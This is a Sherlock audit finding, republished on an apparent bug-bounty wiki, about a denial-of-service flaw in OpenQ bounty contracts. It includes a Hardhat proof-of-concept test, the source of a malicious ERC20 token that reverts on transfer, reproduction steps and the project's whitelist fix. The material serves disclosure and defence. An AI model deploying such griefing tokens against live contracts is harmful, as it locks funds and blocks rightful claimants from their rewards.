Skip to content
DoS Audit finding Intermediate

Bounties can be broken by funding them with malicious ERC20 tokens

Any user can fund a bounty with a malicious ERC20 token that reverts on transfer, causing the entire claim transaction to revert and preventing winners from withdrawing rewards. This locks the bounty funds until expiry.

clems4ever Follow with HollaDieWaldfee, 0x52 and 31 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-02-openq-judging/issues/62

Found by

clems4ever, HollaDieWaldfee, 0x52, HonorLt, rvierdiiev, oot2k, GimelSec, Jeiwan, slowfi, 0xbepresent, libratus, sinh3ck, dipp, whiteh4t9527, XKET, CodeFoxInc, csanuragjain, KingNFT, kiki_dev, Robert, carrot, jkoppel, bin2chen, usmannk, TrungOre, 0xdeadbeef, hake, yixxas, tsvetanovv, joestakey, Tricko, imare, ctf_sec, cccz

Summary

Any malicious user can fund a bounty contract with a malicious ERC20 contract and prevent winners from withdrawing their rewards.

Vulnerability Detail

The DepositManagerV1 contract allows any user to fund any bounty with any token, as long as the following check passes in fundBountyToken function https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/DepositManager/Implementations/DepositManagerV1.sol#L45-L50 This check always passes as long as tokenAddressLimitReacehd is false, which will be the case for most cases and is a reasonable assumption to make.

The claims are handled by the claimManagerV1 contract, which relies on every single deposited token to be successfully transferred to the target address, as can be seen with the snippet below, taken from the function _claimAtomicBounty https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/ClaimManager/Implementations/ClaimManagerV1.sol#L123-L134 and the claimBalance function eventually ends up using the safeTransfer function from the Address library to carry out the transfer as seen in BountyCore.sol:221 https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/BountyCore.sol#L221-L228 However, if any of the tokens end up reverting during the safeTransfer call, the entire claiming call is reverted. It is quite easy for an attacker to fund the bounty with such a malicious contract, and this would essentially brick the bounty preventing the claims from being processed. This will also lock up the funds in the contract until expiry, which can be an indefinite amount of time.

This attack can be carried out in the following bounty types:

  1. AtomicBountyV1
  2. TieredFixedBounty
  3. TieredPercentageBounty

by using malicious ERC20 tokens following the same attack vector.

Impact

Bricking of bounty and lock up of funds until expiry timestamp

Code Snippet

The attack can be recreated using the following test snippet

JavaScript
it('should revert when holding malicious token', async () => {
          // ARRANGE
          const volume = 100
          await openQProxy.mintBounty(
            Constants.bountyId,
            Constants.organization,
            atomicBountyInitOperation
          )
          const bountyAddress = await openQProxy.bountyIdToAddress(
            Constants.bountyId
          )
          await depositManager.fundBountyToken(
            bountyAddress,
            ethers.constants.AddressZero,
            volume,
            1,
            Constants.funderUuid,
            { value: volume }
          )

          // Attacker funds with bad token
          const attacker = claimantThirdPlace
          const MockBAD = await ethers.getContractFactory('MockBAD')
          const mockBAD = await MockBAD.connect(attacker).deploy()
          await mockBAD.deployed()
          await mockBAD.connect(attacker).approve(bountyAddress, 10000000)
          await depositManager
            .connect(attacker)
            .fundBountyToken(
              bountyAddress,
              mockBAD.address,
              volume,
              1,
              Constants.funderUuid
            )
          // Blacklist malicious token
          await mockBAD.connect(attacker).setBlacklist(bountyAddress)

          // ACT
          await expect(
            claimManager
              .connect(oracle)
              .claimBounty(
                bountyAddress,
                claimant.address,
                abiEncodedSingleCloserData
              )
          ).to.be.revertedWith('blacklisted')
        })

Where the mockBAD token is defined as follows, with a malicious blacklist:

Solidity
contract MockBAD is ERC20 {
    address public admin;
    address public blacklist;

    constructor() ERC20('Mock DAI', 'mDAI') {
        blacklist = address(1);
        _mint(msg.sender, 10000 * 10 ** 18);
        admin = msg.sender;
    }

    function setBlacklist(address _blacklist) external {
        require(msg.sender == admin, 'only admin');
        blacklist = _blacklist;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(from != blacklist, 'blacklisted');
        super._beforeTokenTransfer(from, to, amount);
    }
}

Tool used

Hardhat Manual Review

Recommendation

Use a try-catch block when transferring out tokens with claimManager.sol. This will ensure that even if there are malicious tokens, they wont revert the entire transaction.

Discussion

FlacoJones

Will fix by implementing an explicity token whitelist

FlacoJones

https://github.com/OpenQDev/OpenQ-Contracts/pull/113 and https://github.com/OpenQDev/OpenQ-Contracts/pull/116

jacksanford1

Lead Senior Watson comment on PR #113:


Changes look good.

Token requirement has been simplified to just a whitelist. It makes the rest changes to support this revision. tokenAddressLimitReach method has been removed from DepositManagerV1. _tokenAddressLimit has been removed from TokenWhitelist constructor. TOKEN_ADDRESS_LIMIT has been removed along with it's setter. Tests have been updated to accommodate changes.

Lead Senior Watson comment on PR #116:


Changes look good. Requires that funder is the issuer. This prevents a whole host of potential exploits in exchange for closing the otherwise open funding model.

The original report as published on Sherlock, by clems4ever. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The claim process transfers every deposited token in a single transaction without handling transfer failures, so one malicious token that reverts blocks all claims.

Impact

The bounty is bricked and funds are locked until the expiry timestamp, which could be indefinite.

What the attacker needed

Ability to fund a bounty with any token; a malicious ERC20 token contract

The fix

The project fixed this by implementing an explicit token whitelist and requiring the funder to be the issuer.

How it was found

  1. Create a bounty contract.
  2. Fund the bounty with a normal token.
  3. Deploy a malicious ERC20 token that reverts on transfers from a blacklisted address.
  4. Approve the bounty contract and fund it with the malicious token.
  5. Blacklist the bounty contract address in the malicious token.
  6. Attempt to claim the bounty and observe the transaction revert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A bounty contract holds reward money that winners can claim. An attacker can add a fake token to the bounty that always fails when someone tries to move it. Because the claim process moves all tokens at once, one failing token stops the whole payout, so the real winners cannot get their money.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by clems4ever

View all

8 more disclosed reports, best first.

More from OpenQ

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.